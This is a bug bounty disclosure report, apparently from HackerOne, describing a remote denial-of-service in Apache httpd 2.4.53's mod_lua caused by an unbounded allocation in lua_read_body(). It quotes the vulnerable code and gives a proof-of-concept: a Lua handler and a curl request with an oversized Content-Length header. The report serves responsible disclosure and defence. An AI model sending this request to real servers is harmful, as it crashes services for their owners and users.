Lucene search

K
hackeroneTdp3kel9gH1:1596252
HistoryJun 09, 2022 - 8:12 p.m.

Internet Bug Bounty: DoS via lua_read_body() [zhbug_httpd_94]

2022-06-0920:12:03
tdp3kel9g
hackerone.com
46

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.022 Low

EPSS

Percentile

87.7%

Greetings. I have found a bug that can crash httpd 2.4.53, causing a denial of service.

The bug is that lua_read_body() (modules/lua/lua_request.c) uses the value of the Content-Length header to allocate memory. While ap_read_request() limits Content-Length’s value to a non-negative |apr_off_t| via a call to ap_parse_strict_length(), if the LUA programmer uses r:parsebody() without specifying a limit, as in:

   r:parsebody(0)

, lua_read_body() attempts to allocate Content-Length + 1 bytes (line 255, below). This causes an OOM abort, which crashes httpd:

233: static int lua_read_body(request_rec *r, const char **rbuf, apr_off_t *size,
234:         apr_off_t maxsize)
235: {
236:     int rc = OK;
237:
238:     *rbuf = NULL;
239:     *size = 0;
240:
241:     if ((rc = ap_setup_client_block(r, REQUEST_CHUNKED_ERROR))) {
242:         return (rc);
243:     }
244:     if (ap_should_client_block(r)) {
245:
246:         /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
247:         apr_off_t    len_read = -1;
248:         apr_off_t    rpos = 0;
249:         apr_off_t length = r->remaining;
250:         /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
251:
252:         if (maxsize != 0 && length > maxsize) {
253:             return APR_EINCOMPLETE; /* Only room for incomplete data chunk */
254:         }
255:         *rbuf = (const char *) apr_pcalloc(r->pool, (apr_size_t) (length + 1));
...
271: }

The bug appears still to be present in trunk.

Attached is a POC that demonstrates the bug. Use the POC thusly:

  1. Copy bug94.lua into /bug94/bug94.lua .
  2. Enable LUA.
  3. Run httpd and attach a debugger to it.
  4. Set a BP on lua_read_body() line 249.
  5. Run the command
      curl -v -i -H "Content-Type: multipart/form-data; boundary=badbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadbbadbadbadb" -H "Content-Length: 9223372036854775807" -X POST -k http://127.0.0.1/bug94/bug94.lua

which sends the bad header to httpd.

  1. When the BP fires, step line 249 and examine |length|. It should be 0x7fffffffffffffff .
  2. Now step into apr_palloc(). Notice that |size| is 0x8000000000000000. Step over the call to allocator_alloc(), which should return NULL. Then notice that apr_palloc() calls |pool->abortfn()|, which is abort_on_oom() (server/main.c). That, in turn, calls ap_abort_on_oom(), which calls the C library function abort(), crashing the httpd process.
-------- bug94.lua ----------------------------------------------------
function handle(r)
    local s = r:parsebody(0)
end
-------- bug94.lua ----------------------------------------------------

Impact

This bug permits a remote unauthenticated attacker to crash httpd. In mitigation, the victim site must run an LUA program including a call to r:parsebody(0).

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.022 Low

EPSS

Percentile

87.7%